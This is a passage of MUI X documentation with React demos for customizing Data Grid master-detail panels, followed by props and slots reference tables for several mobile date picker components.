      ...GRID_DETAIL_PANEL_TOGGLE_COL_DEF, // Already contains the right field
      renderCell: (params) => <CustomDetailPanelToggle {...params} />,
    },
  ]}
/>
```

You can also use this approach to change the location of the toggle column, as shown in the demo below:

```tsx
import * as React from 'react';
import Box from '@mui/material/Box';
import IconButton from '@mui/material/IconButton';
import ExpandMoreIcon from '@mui/icons-material/ExpandMore';
import {
  DataGridPro,
  GridColDef,
  GridRowsProp,
  GridRenderCellParams,
  GridRowParams,
  useGridSelector,
  useGridApiContext,
  gridDetailPanelExpandedRowsContentCacheSelector,
  gridDetailPanelExpandedRowIdsSelector,
  GRID_DETAIL_PANEL_TOGGLE_COL_DEF,
} from '@mui/x-data-grid-pro';
import {
  randomCreatedDate,
  randomCurrency,
  randomEmail,
  randomPrice,
} from '@mui/x-data-grid-generator';

export default function CustomizeDetailPanelToggle() {
  const getDetailPanelContent = React.useCallback(
    ({ row }: GridRowParams) =>
      row.id % 2 === 0 ? <Box sx={{ p: 2 }}>{`Order #${row.id}`}</Box> : null,
    [],
  );

  const getDetailPanelHeight = React.useCallback(() => 50, []);

  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGridPro
        rows={rows}
        columns={columns}
        getDetailPanelContent={getDetailPanelContent}
        getDetailPanelHeight={getDetailPanelHeight}
      />
    </div>
  );
}

function CustomDetailPanelToggle(props: Pick<GridRenderCellParams, 'id' | 'value'>) {
  const { id } = props;
  const apiRef = useGridApiContext();

  // To avoid calling ´getDetailPanelContent` all the time, the following selector
  // gives an object with the detail panel content for each row id.
  const contentCache = useGridSelector(
    apiRef,
    gridDetailPanelExpandedRowsContentCacheSelector,
  );

  const expandedRowIds = useGridSelector(
    apiRef,
    gridDetailPanelExpandedRowIdsSelector,
  );

  const isExpanded = expandedRowIds.has(id);

  // If the value is not a valid React element, it means that the row has no detail panel.
  const hasDetail = React.isValidElement(contentCache[id]);

  return (
    <IconButton
      size="small"
      tabIndex={-1}
      disabled={!hasDetail}
      aria-label={isExpanded ? 'Close' : 'Open'}
    >
      <ExpandMoreIcon
        sx={(theme) => ({
          transform: `rotateZ(${isExpanded ? 180 : 0}deg)`,
          transition: theme.transitions.create('transform', {
            duration: theme.transitions.duration.shortest,
          }),
        })}
        fontSize="inherit"
      />
    </IconButton>
  );
}

const columns: GridColDef[] = [
  { field: 'id', headerName: 'Order ID' },
  { field: 'customer', headerName: 'Customer', width: 200 },
  { field: 'date', type: 'date', headerName: 'Placed at' },
  { field: 'currency', headerName: 'Currency' },
  { field: 'total', type: 'number', headerName: 'Total' },
  {
    ...GRID_DETAIL_PANEL_TOGGLE_COL_DEF,
    renderCell: (params) => (
      <CustomDetailPanelToggle id={params.id} value={params.value} />
    ),
  },
];

const rows: GridRowsProp = [
  {
    id: 1,
    customer: 'Matheus',
    email: randomEmail(),
    date: randomCreatedDate(),
    currency: randomCurrency(),
    total: randomPrice(1, 1000),
  },
  {
    id: 2,
    customer: 'Olivier',
    email: randomEmail(),
    date: randomCreatedDate(),
    currency: randomCurrency(),
    total: randomPrice(1, 1000),
  },
  {
    id: 3,
    customer: 'Flavien',
    email: randomEmail(),
    date: randomCreatedDate(),
    currency: randomCurrency(),
    total: randomPrice(1, 1000),
  },
  {
    id: 4,
    customer: 'Danail',
    email: randomEmail(),
    date: randomCreatedDate(),
    currency: randomCurrency(),
    total: randomPrice(1, 1000),
  },
  {
    id: 5,
    customer: 'Alexandre',
    email: randomEmail(),
    date: randomCreatedDate(),
    currency: randomCurrency(),
    total: randomPrice(1, 1000),
  },
];

```

:::info
As with any other cell renderer, the `value` prop is also available, and it corresponds to the state of the row: it's set to `true` when expanded and `false` when collapsed.
:::

## Customizing the detail panel column header

To render a custom header for the detail panel column, use the [`renderHeader`](/x/react-data-grid/column-header/#custom-header-renderer) property in the column definition.
This property receives a `GridRenderHeaderParams` object that contains `colDef` (the column definition) and `field`.
The snippet below shows how to do this:

```tsx
const columns = [
  {
    ...GRID_DETAIL_PANEL_TOGGLE_COL_DEF,
    renderHeader: (params) => (
      <div>
        <span>{params.colDef.headerName}</span>
        <button onClick={() => console.log('Custom action')}>Custom action</button>
      </div>
    ),
  },
  //... other columns
];
```

:::success
For a more complex example of this use case, see the recipe for [expanding or collapsing all detail panels](/x/react-data-grid/row-recipes/#expand-or-collapse-all-detail-panels).
:::

## Disabling detail panel content scroll

By default, the detail panel's width is equal to the sum of the widths of all columns.
This means that when a horizontal scrollbar is present, scrolling it also scrolls the panel content.
To avoid this behavior, set the size of the detail panel to the outer size of the Data Grid.
Use `apiRef.current.getRootDimensions()` to get the latest dimension values.
And to prevent the panel from scrolling, set `position: sticky` and `left: 0`.

The following demo shows how to accomplish this—notice that the toggle column is pinned so it remains visible when the user scrolls horizontally:

```tsx
import * as React from 'react';
import Box from '@mui/material/Box';
import Typography from '@mui/material/Typography';
import Paper from '@mui/material/Paper';
import Stack from '@mui/material/Stack';
import {
  DataGridPro,
  GridColDef,
  useGridApiContext,
  GridRowParams,
  GRID_DETAIL_PANEL_TOGGLE_FIELD,
  useGridSelector,
  gridDimensionsSelector,
} from '@mui/x-data-grid-pro';
import {
  randomCreatedDate,
  randomPrice,
  randomCurrency,
  randomCountry,
  randomCity,
  randomEmail,
  randomInt,
  randomAddress,
  randomCommodity,
} from '@mui/x-data-grid-generator';

function DetailPanelContent({ row: rowProp }: { row: Customer }) {
  const apiRef = useGridApiContext();
  const width = useGridSelector(apiRef, gridDimensionsSelector).viewportInnerSize
    .width;

  return (
    <Stack
      sx={{
        py: 2,
        height: '100%',
        boxSizing: 'border-box',
        position: 'sticky',
        left: 0,
        width,
      }}
      direction="column"
    >
      <Paper sx={{ flex: 1, mx: 'auto', width: '90%', p: 1 }}>
        <Stack direction="column" spacing={1} sx={{ height: 1 }}>
          <Typography variant="h6">{`Order #${rowProp.id}`}</Typography>
          <DataGridPro
            density="compact"
            columns={[
              { field: 'name', headerName: 'Product', flex: 1 },
              {
                field: 'quantity',
                headerName: 'Quantity',
                align: 'center',
                type: 'number',
              },
              { field: 'unitPrice', headerName: 'Unit Price', type: 'number' },
              {
                field: 'total',
                headerName: 'Total',
                type: 'number',
                valueGetter: (value, row) => row.quantity * row.unitPrice,
              },
            ]}
            rows={rowProp.products}
            sx={{ flex: 1 }}
            hideFooter
          />
        </Stack>
      </Paper>
    </Stack>
  );
}

const columns: GridColDef[] = [
  { field: 'id', headerName: 'Order ID' },
  { field: 'customer', headerName: 'Customer', width: 200 },
  { field: 'email', headerName: 'Email' },
  { field: 'date', type: 'date', headerName: 'Placed at' },
  { field: 'currency', headerName: 'Currency' },
  { field: 'address', headerName: 'Address' },
  {
    field: 'city',
    headerName: 'City',
    valueGetter: (value, row) => `${row.city}, ${row.country.label}`,
  },
  {
    field: 'total',
    type: 'number',
    headerName: 'Total',
    valueGetter: (value, row) => {
      const subtotal = row.products.reduce(
        (acc: number, product: any) => product.unitPrice * product.quantity,
        0,
      );
      const taxes = subtotal * 0.05;
      return subtotal + taxes;
    },
  },
];

function generateProducts() {
  const quantity = randomInt(1, 5);
  return [...Array(quantity)].map((_, index) => ({
    id: index,
    name: randomCommodity(),
    quantity: randomInt(1, 5),
    unitPrice: randomPrice(1, 1000),
  }));
}

const rows = [
  {
    id: 1,
    customer: 'Matheus',
    email: randomEmail(),
    date: randomCreatedDate(),
    address: randomAddress(),
    country: randomCountry(),
    city: randomCity(),
    currency: randomCurrency(),
    products: generateProducts(),
  },
  {
    id: 2,
    customer: 'Olivier',
    email: randomEmail(),
    date: randomCreatedDate(),
    address: randomAddress(),
    country: randomCountry(),
    city: randomCity(),
    currency: randomCurrency(),
    products: generateProducts(),
  },
  {
    id: 3,
    customer: 'Flavien',
    email: randomEmail(),
    date: randomCreatedDate(),
    address: randomAddress(),
    country: randomCountry(),
    city: randomCity(),
    currency: randomCurrency(),
    products: generateProducts(),
  },
  {
    id: 4,
    customer: 'Danail',
    email: randomEmail(),
    date: randomCreatedDate(),
    address: randomAddress(),
    country: randomCountry(),
    city: randomCity(),
    currency: randomCurrency(),
    products: generateProducts(),
  },
  {
    id: 5,
    customer: 'Alexandre',
    email: randomEmail(),
    date: randomCreatedDate(),
    address: randomAddress(),
    country: randomCountry(),
    city: randomCity(),
    currency: randomCurrency(),
    products: generateProducts(),
  },
  {
    id: 6,
    customer: 'José',
    email: randomEmail(),
    date: randomCreatedDate(),
    address: randomAddress(),
    country: randomCountry(),
    city: randomCity(),
    currency: randomCurrency(),
    products: generateProducts(),
  },
];

type Customer = (typeof rows)[number];

export default function FullWidthDetailPanel() {
  const getDetailPanelContent = React.useCallback(
    ({ row }: GridRowParams) => <DetailPanelContent row={row} />,
    [],
  );

  const getDetailPanelHeight = React.useCallback(() => 400, []);

  return (
    <Box sx={{ width: '100%', height: 400 }}>
      <DataGridPro
        columns={columns}
        rows={rows}
        initialState={{
          pinnedColumns: {
            left: [GRID_DETAIL_PANEL_TOGGLE_FIELD],
          },
        }}
        getDetailPanelHeight={getDetailPanelHeight}
        getDetailPanelContent={getDetailPanelContent}
        sx={{
          '& .MuiDataGrid-detailPanel': {
            overflow: 'visible',
          },
        }}
      />
    </Box>
  );
}

```

## Master-detail row panel recipes

For more examples of how to customize master-detail row panels, check out the following recipes:

- [One expanded detail panel at a time](/x/react-data-grid/row-recipes/#one-expanded-detail-panel-at-a-time)
- [Expand or collapse all detail panels](/x/react-data-grid/row-recipes/#expand-or-collapse-all-detail-panels)
- [Toggling detail panels on row click](/x/react-data-grid/row-recipes/#toggling-detail-panels-on-row-click)
- [Lazy loading detail panels with auto height](/x/react-data-grid/row-recipes/#lazy-loading-detail-panels-with-auto-height)

## apiRef

The Data Grid exposes a set of methods via the `apiRef` object that are used internally in the implementation of master-detail row panels.
The reference below describes the relevant functions.
See [API object](/x/react-data-grid/api-object/) for more details.

:::warning
This API should only be used as a last resort when the Data Grid's built-in props aren't sufficient for your specific use case.
:::

```jsx
import ApiDocs from 'docsx/src/modules/components/ApiDocs';
import api from 'docsx/pages/x/api/data-grid/grid-detail-panel-api.json';

export default function DetailPanelApiNoSnap() {
  return <ApiDocs proApi={api} />;
}

```

## API

- [DataGrid](/x/api/data-grid/data-grid/)
- [DataGridPro](/x/api/data-grid/data-grid-pro/)
- [DataGridPremium](/x/api/data-grid/data-grid-premium/)

---

# Source: https://mui.com/x/api/date-pickers/mobile-date-picker.md

# MobileDatePicker API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Date Picker](/x/react-date-pickers/date-picker/)
- [Date and Time Pickers - Validation](/x/react-date-pickers/validation/)

## Import

```jsx
import { MobileDatePicker } from '@mui/x-date-pickers/MobileDatePicker';
// or
import { MobileDatePicker } from '@mui/x-date-pickers';
// or
import { MobileDatePicker } from '@mui/x-date-pickers-pro';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| autoFocus | `bool` | - | No |  |
| closeOnSelect | `bool` | `false` | No |  |
| dayOfWeekFormatter | `function(date: PickerValidDate) => string` | `(date: PickerValidDate) => adapter.format(date, 'weekdayShort').charAt(0).toUpperCase()` | No |  |
| defaultValue | `object` | - | No |  |
| disabled | `bool` | `false` | No |  |
| disableFuture | `bool` | `false` | No |  |
| disableHighlightToday | `bool` | `false` | No |  |
| disableOpenPicker (deprecated) | `bool` | `false` | No | ⚠️ Use the [field component](https://mui.com/x/react-date-pickers/fields/) instead. |
| disablePast | `bool` | `false` | No |  |
| displayWeekNumber | `bool` | - | No |  |
| fixedWeekNumber | `number` | - | No |  |
| format | `string` | - | No |  |
| formatDensity | `'dense' \| 'spacious'` | `"dense"` | No |  |
| inputRef | `ref` | - | No |  |
| label | `node` | - | No |  |
| loading | `bool` | `false` | No |  |
| localeText | `object` | - | No |  |
| maxDate | `object` | `2099-12-31` | No |  |
| minDate | `object` | `1900-01-01` | No |  |
| monthsPerRow | `3 \| 4` | `3` | No |  |
| name | `string` | - | No |  |
| onAccept | `function(value: TValue, context: FieldChangeHandlerContext<TError>) => void` | - | No |  |
| onChange | `function(value: TValue, context: FieldChangeHandlerContext<TError>) => void` | - | No |  |
| onClose | `func` | - | No |  |
| onError | `function(error: TError, value: TValue) => void` | - | No |  |
| onMonthChange | `function(month: PickerValidDate) => void` | - | No |  |
| onOpen | `func` | - | No |  |
| onSelectedSectionsChange | `function(newValue: FieldSelectedSections) => void` | - | No |  |
| onViewChange | `function(view: TView) => void` | - | No |  |
| onYearChange | `function(year: PickerValidDate) => void` | - | No |  |
| open | `bool` | `false` | No |  |
| openTo | `'day' \| 'month' \| 'year'` | - | No |  |
| orientation | `'landscape' \| 'portrait'` | - | No |  |
| readOnly | `bool` | `false` | No |  |
| reduceAnimations | `bool` | ``@media(prefers-reduced-motion: reduce)` || `navigator.userAgent` matches Android <10 or iOS <13` | No |  |
| referenceDate | `object` | `The closest valid date-time using the validation props, except callbacks like `shouldDisable<...>`.` | No |  |
| renderLoading | `function() => React.ReactNode` | `() => <span>...</span>` | No |  |
| selectedSections | `'all' \| 'day' \| 'empty' \| 'hours' \| 'meridiem' \| 'minutes' \| 'month' \| 'seconds' \| 'weekDay' \| 'year' \| number` | - | No |  |
| shouldDisableDate | `function(day: PickerValidDate) => boolean` | - | No |  |
| shouldDisableMonth | `function(month: PickerValidDate) => boolean` | - | No |  |
| shouldDisableYear | `function(year: PickerValidDate) => boolean` | - | No |  |
| showDaysOutsideCurrentMonth | `bool` | `false` | No |  |
| slotProps | `object` | `{}` | No |  |
| slots | `object` | `{}` | No |  |
| sx | `Array<func \| object \| bool> \| func \| object` | - | No | The system prop that allows defining system overrides as well as additional CSS styles. |
| timezone | `string` | `The timezone of the `value` or `defaultValue` prop is defined, 'default' otherwise.` | No |  |
| value | `object` | - | No |  |
| view | `'day' \| 'month' \| 'year'` | - | No |  |
| viewRenderers | `{ day?: func, month?: func, year?: func }` | - | No |  |
| views | `Array<'day' \| 'month' \| 'year'>` | - | No |  |
| yearsOrder | `'asc' \| 'desc'` | `'asc'` | No |  |
| yearsPerRow | `3 \| 4` | `3` | No |  |

> **Note**: The `ref` is forwarded to the root element (HTMLDivElement).

## Slots

| Name | Default | Class | Description |
|------|---------|-------|-------------|
| actionBar | `PickersActionBar` | - | Custom component for the action bar, it is placed below the Picker views. |
| calendarHeader | `PickersCalendarHeader` | - | Custom component for calendar header.
Check the [PickersCalendarHeader](https://mui.com/x/api/date-pickers/pickers-calendar-header/) component. |
| clearButton | `IconButton` | - | Button to clear the value. |
| clearIcon | `ClearIcon` | - | Icon to display in the button used to clean the value. |
| day | `PickersDay` | - | Custom component for day.
Check the [PickersDay](https://mui.com/x/api/date-pickers/pickers-day/) component. |
| dialog | `PickersModalDialogRoot` | - | Custom component for the dialog inside which the views are rendered on mobile. |
| field | `undefined` | - | Component used to enter the date with the keyboard. |
| inputAdornment | `InputAdornment` | - | Component displayed on the start or end input adornment used to open the Picker. |
| layout | `undefined` | - | Custom component for wrapping the layout.
It wraps the toolbar, views, action bar, and shortcuts. |
| leftArrowIcon | `ArrowLeft` | - | Icon displayed in the left view switch button. |
| mobilePaper | `Paper from '@mui/material'.` | - | Custom component for the paper rendered inside the mobile picker's Dialog. |
| mobileTransition | `Fade from '@mui/material'.` | - | Custom component for the mobile dialog [Transition](https://mui.com/material-ui/transitions/). |
| monthButton | `MonthCalendarButton` | - | Button displayed to render a single month in the `month` view. |
| nextIconButton | `IconButton` | - | Button allowing to switch to the right view. |
| openPickerButton | `IconButton` | - | Button to open the Picker. |
| openPickerIcon | `undefined` | - | Icon to display in the button used to open the Picker. |
| previousIconButton | `IconButton` | - | Button allowing to switch to the left view. |
| rightArrowIcon | `ArrowRight` | - | Icon displayed in the right view switch button. |
| shortcuts | `PickersShortcuts` | - | Custom component for the shortcuts. |
| switchViewButton | `IconButton` | - | Button displayed to switch between different calendar views. |
| switchViewIcon | `ArrowDropDown` | - | Icon displayed in the SwitchViewButton. Rotated by 180° when the open view is `year`. |
| textField | `<PickersTextField />, or <TextField /> from '@mui/material' if `enableAccessibleFieldDOMStructure` is `false`.` | - | Form control with an input to render the value. |
| toolbar | `DatePickerToolbar` | - | Custom component for the toolbar rendered above the views. |
| yearButton | `YearCalendarButton` | - | Button displayed to render a single year in the `year` view. |

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-date-pickers/src/MobileDatePicker/MobileDatePicker.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-date-pickers/src/MobileDatePicker/MobileDatePicker.tsx)

---

# Source: https://mui.com/x/api/date-pickers/mobile-date-range-picker.md

# MobileDateRangePicker API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- Date Range Picker
- [Date and Time Pickers - Validation](/x/react-date-pickers/validation/)

## Import

```jsx
import { MobileDateRangePicker } from '@mui/x-date-pickers-pro/MobileDateRangePicker';
// or
import { MobileDateRangePicker } from '@mui/x-date-pickers-pro';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| autoFocus | `bool` | - | No |  |
| closeOnSelect | `bool` | `false` | No |  |
| currentMonthCalendarPosition | `1 \| 2 \| 3` | `1` | No |  |
| dayOfWeekFormatter | `function(date: PickerValidDate) => string` | `(date: PickerValidDate) => adapter.format(date, 'weekdayShort').charAt(0).toUpperCase()` | No |  |
| defaultRangePosition | `'end' \| 'start'` | `'start'` | No |  |
| defaultValue | `Array<object>` | - | No |  |
| disableAutoMonthSwitching | `bool` | `false` | No |  |
| disabled | `bool` | `false` | No |  |
| disableDragEditing | `bool` | `false` | No |  |
| disableFuture | `bool` | `false` | No |  |
| disableHighlightToday | `bool` | `false` | No |  |
| disableOpenPicker (deprecated) | `bool` | `false` | No | ⚠️ Use the [field component](https://mui.com/x/react-date-pickers/fields/) instead. |
| disablePast | `bool` | `false` | No |  |
| displayWeekNumber | `bool` | - | No |  |
| fixedWeekNumber | `number` | - | No |  |
| format | `string` | - | No |  |
| formatDensity | `'dense' \| 'spacious'` | `"dense"` | No |  |
| inputRef | `ref` | - | No |  |
| label | `node` | - | No |  |
| loading | `bool` | `false` | No |  |
| localeText | `object` | - | No |  |
| maxDate | `object` | `2099-12-31` | No |  |
| minDate | `object` | `1900-01-01` | No |  |
| name | `string` | - | No |  |
| onAccept | `function(value: TValue, context: FieldChangeHandlerContext<TError>) => void` | - | No |  |
| onChange | `function(value: TValue, context: FieldChangeHandlerContext<TError>) => void` | - | No |  |
| onClose | `func` | - | No |  |
| onError | `function(error: TError, value: TValue) => void` | - | No |  |
| onMonthChange | `function(month: PickerValidDate) => void` | - | No |  |
| onOpen | `func` | - | No |  |
| onRangePositionChange | `function(rangePosition: RangePosition) => void` | - | No |  |
| onSelectedSectionsChange | `function(newValue: FieldSelectedSections) => void` | - | No |  |
| open | `bool` | `false` | No |  |
| rangePosition | `'end' \| 'start'` | - | No |  |
| readOnly | `bool` | `false` | No |  |
| reduceAnimations | `bool` | ``@media(prefers-reduced-motion: reduce)` || `navigator.userAgent` matches Android <10 or iOS <13` | No |  |
| referenceDate | `Array<object> \| object` | `The closest valid date-time using the validation props, except callbacks like `shouldDisable<...>`.` | No |  |
| renderLoading | `function() => React.ReactNode` | `() => "..."` | No |  |
| selectedSections | `'all' \| 'day' \| 'empty' \| 'hours' \| 'meridiem' \| 'minutes' \| 'month' \| 'seconds' \| 'weekDay' \| 'year' \| number` | - | No |  |
| shouldDisableDate | `function(day: PickerValidDate, position: string) => boolean` | - | No |  |
| showDaysOutsideCurrentMonth | `bool` | `false` | No |  |
| slotProps | `object` | `{}` | No |  |
| slots | `object` | `{}` | No |  |
| sx | `Array<func \| object \| bool> \| func \| object` | - | No | The system prop that allows defining system overrides as well as additional CSS styles. |
| timezone | `string` | `The timezone of the `value` or `defaultValue` prop is defined, 'default' otherwise.` | No |  |
| value | `Array<object>` | - | No |  |
| viewRenderers | `{ day?: func }` | - | No |  |

> **Note**: The `ref` is forwarded to the root element (HTMLDivElement).

## Slots

| Name | Default | Class | Description |
|------|---------|-------|-------------|
| actionBar | `PickersActionBar` | - | Custom component for the action bar, it is placed below the Picker views. |
| calendarHeader | `PickersCalendarHeader` | - | Custom component for calendar header.
Check the [PickersCalendarHeader](https://mui.com/x/api/date-pickers/pickers-calendar-header/) component. |
| clearButton | `IconButton` | - | Button to clear the value. |
| clearIcon | `ClearIcon` | - | Icon to display in the button used to clean the value. |
| day | `DateRangePickersDay` | - | Custom component for day in range pickers.
Check the [DateRangePickersDay](https://mui.com/x/api/date-pickers/date-range-picker-day/) component. |
| dialog | `PickersModalDialogRoot` | - | Custom component for the dialog inside which the views are rendered on mobile. |
| field | `undefined` | - | Component used to enter the date with the keyboard. |
| inputAdornment | `InputAdornment` | - | Component displayed on the start or end input adornment used to open the Picker. |
| layout | `undefined` | - | Custom component for wrapping the layout.
It wraps the toolbar, views, action bar, and shortcuts. |
| leftArrowIcon | `ArrowLeft` | - | Icon displayed in the left view switch button. |
| mobilePaper | `Paper from '@mui/material'.` | - | Custom component for the paper rendered inside the mobile picker's Dialog. |
| mobileTransition | `Fade from '@mui/material'.` | - | Custom component for the mobile dialog [Transition](https://mui.com/material-ui/transitions/). |
| nextIconButton | `IconButton` | - | Button allowing to switch to the right view. |
| openPickerButton | `IconButton` | - | Button to open the Picker. |
| openPickerIcon | `undefined` | - | Icon to display in the button used to open the Picker. |
| previousIconButton | `IconButton` | - | Button allowing to switch to the left view. |
| rightArrowIcon | `ArrowRight` | - | Icon displayed in the right view switch button. |
| shortcuts | `PickersShortcuts` | - | Custom component for the shortcuts. |
| switchViewButton | `IconButton` | - | Button displayed to switch between different calendar views. |
| switchViewIcon | `ArrowDropDown` | - | Icon displayed in the SwitchViewButton. Rotated by 180° when the open view is `year`. |
| textField | `<PickersTextField />, or <TextField /> from '@mui/material' if `enableAccessibleFieldDOMStructure` is `false`.` | - | Form control with an input to render the value. |
| toolbar | `DateTimePickerToolbar` | - | Custom component for the toolbar rendered above the views. |

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-date-pickers-pro/src/MobileDateRangePicker/MobileDateRangePicker.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-date-pickers-pro/src/MobileDateRangePicker/MobileDateRangePicker.tsx)

---

# Source: https://mui.com/x/api/date-pickers/mobile-date-time-picker.md

# MobileDateTimePicker API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Date Time Picker](/x/react-date-pickers/date-time-picker/)
- [Date and Time Pickers - Validation](/x/react-date-pickers/validation/)

## Import

```jsx
import { MobileDateTimePicker } from '@mui/x-date-pickers/MobileDateTimePicker';
// or
import { MobileDateTimePicker } from '@mui/x-date-pickers';
// or
import { MobileDateTimePicker } from '@mui/x-date-pickers-pro';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| ampm | `bool` | `adapter.is12HourCycleInCurrentLocale()` | No |  |
| ampmInClock | `bool` | `true on desktop, false on mobile` | No |  |
| autoFocus | `bool` | - | No |  |
| closeOnSelect | `bool` | `false` | No |  |
| dayOfWeekFormatter | `function(date: PickerValidDate) => string` | `(date: PickerValidDate) => adapter.format(date, 'weekdayShort').charAt(0).toUpperCase()` | No |  |
| defaultValue | `object` | - | No |  |
| disabled | `bool` | `false` | No |  |
| disableFuture | `bool` | `false` | No |  |
| disableHighlightToday | `bool` | `false` | No |  |
| disableIgnoringDatePartForTimeValidation | `bool` | `false` | No |  |
| disableOpenPicker (deprecated) | `bool` | `false` | No | ⚠️ Use the [field component](https://mui.com/x/react-date-pickers/fields/) instead. |
| disablePast | `bool` | `false` | No |  |
| displayWeekNumber | `bool` | - | No |  |
| fixedWeekNumber | `number` | - | No |  |
| format | `string` | - | No |  |
| formatDensity | `'dense' \| 'spacious'` | `"dense"` | No |  |
| inputRef | `ref` | - | No |  |
| label | `node` | - | No |  |
| loading | `bool` | `false` | No |  |
| localeText | `object` | - | No |  |
| maxDate | `object` | `2099-12-31` | No |  |
| maxDateTime | `object` | - | No |  |
| maxTime | `object` | - | No |  |
| minDate | `object` | `1900-01-01` | No |  |
| minDateTime | `object` | - | No |  |
| minTime | `object` | - | No |  |
| minutesStep | `number` | `1` | No |  |
| monthsPerRow | `3 \| 4` | `3` | No |  |
| name | `string` | - | No |  |
| onAccept | `function(value: TValue, context: FieldChangeHandlerContext<TError>) => void` | - | No |  |
| onChange | `function(value: TValue, context: FieldChangeHandlerContext<TError>) => void` | - | No |  |
| onClose | `func` | - | No |  |
| onError | `function(error: TError, value: TValue) => void` | - | No |  |
| onMonthChange | `function(month: PickerValidDate) => void` | - | No |  |
| onOpen | `func` | - | No |  |
| onSelectedSectionsChange | `function(newValue: FieldSelectedSections) => void` | - | No |  |
| onViewChange | `function(view: TView) => void` | - | No |  |
| onYearChange | `function(year: PickerValidDate) => void` | - | No |  |
| open | `bool` | `false` | No |  |
| openTo | `'day' \| 'hours' \| 'meridiem' \| 'minutes' \| 'month' \| 'seconds' \| 'year'` | - | No |  |
| orientation | `'landscape' \| 'portrait'` | - | No |  |
| readOnly | `bool` | `false` | No |  |
| reduceAnimations | `bool` | ``@media(prefers-reduced-motion: reduce)` || `navigator.userAgent` matches Android <10 or iOS <13` | No |  |
| referenceDate | `object` | `The closest valid date-time using the validation props, except callbacks like `shouldDisable<...>`.` | No |  |
| renderLoading | `function() => React.ReactNode` | `() => <span>...</span>` | No |  |
| selectedSections | `'all' \| 'day' \| 'empty' \| 'hours' \| 'meridiem' \| 'minutes' \| 'month' \| 'seconds' \| 'weekDay' \| 'year' \| number` | - | No |  |
| shouldDisableDate | `function(day: PickerValidDate) => boolean` | - | No |  |
| shouldDisableMonth | `function(month: PickerValidDate) => boolean` | - | No |  |
| shouldDisableTime | `function(value: PickerValidDate, view: TimeView) => boolean` | - | No |  |
| shouldDisableYear | `function(year: PickerValidDate) => boolean` | - | No |  |
| showDaysOutsideCurrentMonth | `bool` | `false` | No |  |
| skipDisabled | `bool` | `false` | No |  |
| slotProps | `object` | `{}` | No |  |
| slots | `object` | `{}` | No |  |
| sx | `Array<func \| object \| bool> \| func \| object` | - | No | The system prop that allows defining system overrides as well as additional CSS styles. |
| thresholdToRenderTimeInASingleColumn | `number` | `24` | No |  |
| timeSteps | `{ hours?: number, minutes?: number, seconds?: number }` | `{ hours: 1, minutes: 5, seconds: 5 }` | No |  |
| timezone | `string` | `The timezone of the `value` or `defaultValue` prop is defined, 'default' otherwise.` | No |  |
| value | `object` | - | No |  |
| view | `'day' \| 'hours' \| 'meridiem' \| 'minutes' \| 'month' \| 'seconds' \| 'year'` | - | No |  |
| viewRenderers | `{ day?: func, hours?: func, meridiem?: func, minutes?: func, month?: func, seconds?: func, year?: func }` | - | No |  |
| views | `Array<'day' \| 'hours' \| 'minutes' \| 'month' \| 'seconds' \| 'year'>` | - | No |  |
| yearsOrder | `'asc' \| 'desc'` | `'asc'` | No |  |
| yearsPerRow | `3 \| 4` | `3` | No |  |

> **Note**: The `ref` is forwarded to the root element (HTMLDivElement).

## Slots

| Name | Default | Class | Description |
|------|---------|-------|-------------|
| actionBar | `PickersActionBar` | - | Custom component for the action bar, it is placed below the Picker views. |
| calendarHeader | `PickersCalendarHeader` | - | Custom component for calendar header.
Check the [PickersCalendarHeader](https://mui.com/x/api/date-pickers/pickers-calendar-header/) component. |
| clearButton | `IconButton` | - | Button to clear the value. |
| clearIcon | `ClearIcon` | - | Icon to display in the button used to clean the value. |
| day | `PickersDay` | - | Custom component for day.
Check the [PickersDay](https://mui.com/x/api/date-pickers/pickers-day/) component. |
| dialog | `PickersModalDialogRoot` | - | Custom component for the dialog inside which the views are rendered on mobile. |
| digitalClockItem | `MenuItem from '@mui/material'` | - | Component responsible for rendering a single digital clock item. |
| digitalClockSectionItem | `MenuItem from '@mui/material'` | - | Component responsible for rendering a single multi section digital clock section item. |
| field | `undefined` | - | Component used to enter the date with the keyboard. |
| inputAdornment | `InputAdornment` | - | Component displayed on the start or end input adornment used to open the Picker. |
| layout | `undefined` | - | Custom component for wrapping the layout.
It wraps the toolbar, views, action bar, and shortcuts. |
| leftArrowIcon | `ArrowLeft` | - | Icon displayed in the left view switch button. |
| mobilePaper | `Paper from '@mui/material'.` | - | Custom component for the paper rendered inside the mobile picker's Dialog. |
| mobileTransition | `Fade from '@mui/material'.` | - | Custom component for the mobile dialog [Transition](https://mui.com/material-ui/transitions/). |
| monthButton | `MonthCalendarButton` | - | Button displayed to render a single month in the `month` view. |
| nextIconButton | `IconButton` | - | Button allowing to switch to the right view. |
| openPickerButton | `IconButton` | - | Button to open the Picker. |
| openPickerIcon | `undefined` | - | Icon to display in the button used to open the Picker. |
| previousIconButton | `IconButton` | - | Button allowing to switch to the left view. |
| rightArrowIcon | `ArrowRight` | - | Icon displayed in the right view switch button. |
| shortcuts | `PickersShortcuts` | - | Custom component for the shortcuts. |
| switchViewButton | `IconButton` | - | Button displayed to switch between different calendar views. |
| switchViewIcon | `ArrowDropDown` | - | Icon displayed in the SwitchViewButton. Rotated by 180° when the open view is `year`. |
| tabs | `DateTimePickerTabs` | - | Tabs enabling toggling between date and time pickers. |
| textField | `<PickersTextField />, or <TextField /> from '@mui/material' if `enableAccessibleFieldDOMStructure` is `false`.` | - | Form control with an input to render the value. |
| toolbar | `DateTimePickerToolbar` | - | Custom component for the toolbar rendered above the views. |
| yearButton | `YearCalendarButton` | - | Button displayed to render a single year in the `year` view. |

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-date-pickers/src/MobileDateTimePicker/MobileDateTimePicker.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-date-pickers/src/MobileDateTimePicker/MobileDateTimePicker.tsx)

---

# Source: https://mui.com/x/api/date-pickers/mobile-date-time-range-picker.md

# MobileDateTimeRangePicker API

